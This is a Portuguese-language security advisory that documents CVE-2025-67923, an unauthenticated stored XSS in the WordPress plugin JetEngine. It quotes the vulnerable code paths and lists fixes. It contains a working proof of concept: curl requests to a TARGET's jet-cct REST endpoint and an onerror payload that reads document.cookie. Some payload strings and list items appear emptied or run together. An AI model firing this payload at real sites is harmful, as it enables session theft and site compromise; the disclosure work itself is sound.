
JetEngine <= 3.7.7 — Cross-Site Scripting Armazenado Não Autenticado via CCT REST API
Data: 11 de março de 2026 Pontuação CVSS: 7.1 (Alta) Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L Plug-in Afetado: JetEngine <= 3.7.7 Slug do Plug-in: jet-engine Corrigido em: 3.7.8 CVE: CVE-2025-67923 CWE: CWE-79 Pesquisador: Bonds (via Patchstack) Relatado: 19 de outubro de 2025 Divulgado: janeiro de 2026 Versão do WordPress Testada: Mais recente
O CVE-2025-67923 é uma vulnerabilidade de Cross-Site Scripting Armazenado Não Autenticado no plug-in WordPress JetEngine, afetando todas as versões até 3.7.7 inclusive. Um atacante não autenticado pode gravar HTML/JavaScript arbitrário em um campo de texto de um Tipo de Conteúdo Personalizado (CCT) por meio da API REST pública, que é então injetado sem sanitização no DOM por meio de um sumidouro innerHTML do JavaScript no widget Maps Listing, quando uma vítima visita qualquer página que contenha esse widget.
O ataque não exige autenticação nem privilégios. Ele exige apenas que:
public.✅ VULNERABILIDADE CONFIRMADA — Payload de XSS Armazenado Gravado e Executado
Impacto confirmado:
A vulnerabilidade é uma combinação de duas fraquezas independentes:
Ausência de sanitização de entrada (armazenamento): O método sanitize_field_value() do manipulador de itens do CCT não possui um caminho de sanitização para campos do tipo text. O caso default: apenas converte timestamps — o HTML bruto passa e é persistido no banco de dados.
Sumidouro de XSS baseado em DOM (renderização): O widget Maps Listing lê o valor do campo armazenado via get_marker_label(), envolve-o em htmlspecialchars(json_encode(...)) para o atributo HTML data-markers, e o JavaScript do front-end lê o atributo com getAttribute() (que decodifica entidades HTML) e, em seguida, insere markerData.label diretamente via innerHTML — executando qualquer HTML/JavaScript incorporado.
O controlador REST público do CCT verifica permissões via check_user_permissions():
// public-controller.php:370-376
public function check_user_permissions( $request, $context ) {
$content_type = $this->get_content_type_from_request( $request );
$cap = $content_type->get_arg( $context );
if ( ! $cap || 'public' === $cap ) {
return true; // No authentication required
} else {
return current_user_can( $cap );
}
}
public function create_item_permissions_check( $request ) {
return $this->check_user_permissions( $request, 'rest_put_access' );
}
Quando um CCT é configurado com rest_put_access = 'public' (uma configuração suportada e documentada para formulários públicos), o endpoint é totalmente não autenticado. Qualquer cliente HTTP pode enviar um POST para /wp-json/jet-cct/{slug}.
O manipulador da REST chama $handler->update_item($params), que chega a sanitize_field_value():
// item-handler.php:489-562
public function sanitize_field_value( $value, $field ) {
$type = isset( $field['type'] ) ? $field['type'] : false;
switch ( $type ) {
case 'repeater': // sanitizes sub-fields
// ...
case 'checkbox': // handles boolean arrays
case 'checkbox-raw':
// ...
case 'media':
case 'gallery': // sanitizes media JSON
// ...
case 'wysiwyg':
$value = jet_engine_sanitize_wysiwyg( $value ); // sanitized
break;
default:
// TEXT TYPE FALLS HERE — only timestamp conversion, NO HTML sanitization
$value = $this->factory->maybe_to_timestamp( $value, $field );
}
return $value;
}
Um campo do tipo text cai no ramo default:. maybe_to_timestamp() retorna o valor inalterado para strings que não são datas. O payload de XSS `` é armazenado literalmente.
Quando o widget Maps Listing é renderizado, get_marker_label() lê o campo:
// render.php:479-535
public function get_marker_label( $post = null, $settings = array() ) {
// ...
switch ( $label_type ) {
case 'meta_field':
$field = $settings['marker_label_field'];
if ( $field ) {
$result = jet_engine()->listings->data->get_meta( $field, $post );
// No esc_html() here — raw value returned
}
break;
}
return $result; // Returns ""
}
O valor retornado é colocado no array de dados do marcador:
// render.php:231-237
$result[] = array(
'id' => $post_id,
'latLang' => $latlang,
'label' => $this->get_marker_label( $post, $settings ), // raw XSS payload
// ...
);
O array de marcadores é codificado para um atributo HTML:
// render.php:247
return htmlspecialchars( json_encode( $result ) );
json_encode serializa `` como a string "". htmlspecialchars então codifica em HTML o JSON completo, produzindo:
[{...,"label":"<img src=x onerror=alert(1)>",...}]
Isso é gravado no atributo HTML data-markers. A codificação apenas protege o limite do atributo. Quando o JavaScript lê o atributo, o navegador decodifica as entidades HTML, restaurando os caracteres originais:
// Browser automatically decodes entities when reading via dataset / getAttribute
const markers = JSON.parse(el.dataset.markers);
// markers[0].label === ''
Em frontend-maps.js, a string bruta do rótulo é inserida diretamente em uma string de conteúdo HTML:
// frontend-maps.js:112
pinData.content = general.marker.html.replace( '_marker_label_', markerData.label );
// pinData.content = '<div class="jet-map-marker-wrap">
//
// </div>'
Essa string de conteúdo é então definida como o innerHTML do elemento do marcador:
// mapbox-maps.js:175
el.innerHTML = data.content; // XSS FIRES
// leaflet-maps.js:34
contentHtml.innerHTML = content; // XSS FIRES
Todo visitante que carrega uma página contendo o widget Maps Listing dispara o payload.
maps-listings e custom-content-types do JetEngine estão habilitados.locations (slug: locations) com:
rest_put_enabled = truerest_put_access = 'public'text chamado labelmarker_type = 'text'marker_label_type = 'meta_field'marker_label_field = 'label'curl -s -X POST 'http://TARGET/wp-json/jet-cct/locations' \
-H 'Content-Type: application/json' \
-d '{
"name": "Test Location",
"label": "",
"lat": "51.5074",
"lng": "-0.1278"
}'
Resposta:
{"success": true, "item_id": 1}
curl -s 'http://TARGET/wp-json/jet-cct/locations'
Resposta:
[{
"_ID": "1",
"name": "Test Location",
"label": "",
"lat": "51.5074",
"lng": "-0.1278"
}]
A tag `` é armazenada literalmente — nenhuma sanitização ocorreu.
Qualquer visitante, autenticado ou não, que carregar uma página contendo o widget Maps Listing executará o payload. O atributo HTML renderizado contém:
<div class="jet-map-box"
data-markers="[{..."label":"<img src=x onerror=alert(document.cookie)>"...}]"
data-general="...">
</div>
O JavaScript lê data-markers, decodifica entidades HTML, faz o parsing do JSON e insere no DOM:
// markerData.label = ''
el.innerHTML = '<div class="jet-map-marker-wrap">' + markerData.label + '</div>';
// ↑ onerror fires → alert(document.cookie)
Attacker WordPress REST API Victim Browser
| | |
|-- POST /wp-json/jet-cct/ ---> | |
| {"label":" |
| | el.innerHTML = label
| | onerror=alert() FIRES
text Isentos de Sanitizaçãosanitize_field_value() trata explicitamente wysiwyg com sanitização baseada em wp_kses, mas coloca todos os outros tipos de string em um ramo default: que não realiza escape de HTML. A premissa de que campos text são texto simples é violada quando esses valores são posteriormente renderizados como HTML por meio do caminho innerHTML do widget Maps.
htmlspecialchars Aplicado de Forma Incorretahtmlspecialchars(json_encode($result)) é aplicado para proteger o limite do atributo HTML. Isso é correto e necessário — mas não é suficiente para impedir o XSS quando o valor é posteriormente lido de volta via JavaScript e inserido no DOM por meio de innerHTML. A codificação é reversível pelo navegador. A correção correta é aplicar esc_html() (ou htmlspecialchars) ao valor individual label antes da codificação JSON, de modo que o payload seja armazenado no JSON como texto codificado por entidades. Quando o JavaScript o insere via innerHTML, o navegador renderiza <img> como texto, não como uma tag HTML.
Alternativamente, substitua innerHTML por textContent no JavaScript do campo de rótulo.
O caminho de gravação da API REST (update_item) não trata todos os valores armazenados como possíveis sumidouros de HTML. A política de sanitização é definida apenas por tipo de campo, com os campos text silenciosamente isentos, apesar de serem renderizados como HTML no front-end por meio do widget Maps.
| Data | Evento |
|---|---|
| 19 de outubro de 2025 | Vulnerabilidade relatada pelo pesquisador "Bonds" via Patchstack |
| janeiro de 2026 | Divulgação pública |
| janeiro de 2026 | JetEngine 3.7.8 lançado com correção |
| 11 de março de 2026 | Reproduzido de forma independente com PoC completo |
| Arquivo | Problema |
|---|
includes/modules/custom-content-types/inc/rest-api/public-controller.php:424 | create_item_permissions_check retorna true quando CCT rest_put_access = 'public' — nenhuma autenticação necessária |
includes/modules/custom-content-types/inc/item-handler.php:489 | ramo default: de sanitize_field_value() — nenhuma sanitização de HTML para campos do tipo text |
includes/modules/maps-listings/inc/render.php:233 | get_marker_label() retorna o valor meta bruto sem esc_html() |
includes/modules/maps-listings/inc/render.php:247 | htmlspecialchars(json_encode($result)) — apenas protege o limite do atributo, não a injeção via innerHTML |
includes/modules/maps-listings/assets/js/frontend-maps.js:112 | pinData.content = general.marker.html.replace('_marker_label_', markerData.label) — rótulo bruto inserido na string HTML |
includes/modules/maps-listings/assets/js/public/mapbox-maps.js:175 | el.innerHTML = data.content — sumidouro de execução de XSS |
includes/modules/maps-listings/assets/js/public/leaflet-maps.js:34 | contentHtml.innerHTML = content — sumidouro de execução de XSS |
| Correção | Arquivo | Descrição |
|---|
| Sanitizar campos de texto ao salvar | item-handler.php:sanitize_field_value() | Adicione $value = wp_kses($value, []) ou sanitize_text_field($value) no ramo default: |
| Escapar o rótulo no momento da renderização | render.php:get_marker_label() | Aplique esc_html($result) antes de retornar o valor do rótulo |
Usar textContent em vez de innerHTML para os rótulos | frontend-maps.js, mapbox-maps.js, leaflet-maps.js | Substitua el.innerHTML = data.content pela construção segura do DOM quando o conteúdo for apenas texto do rótulo |
| Restringir o padrão de acesso de gravação da REST | Configurações do plug-in | Altere o valor padrão de rest_put_access para manage_options em vez de public; exija opt-in explícito |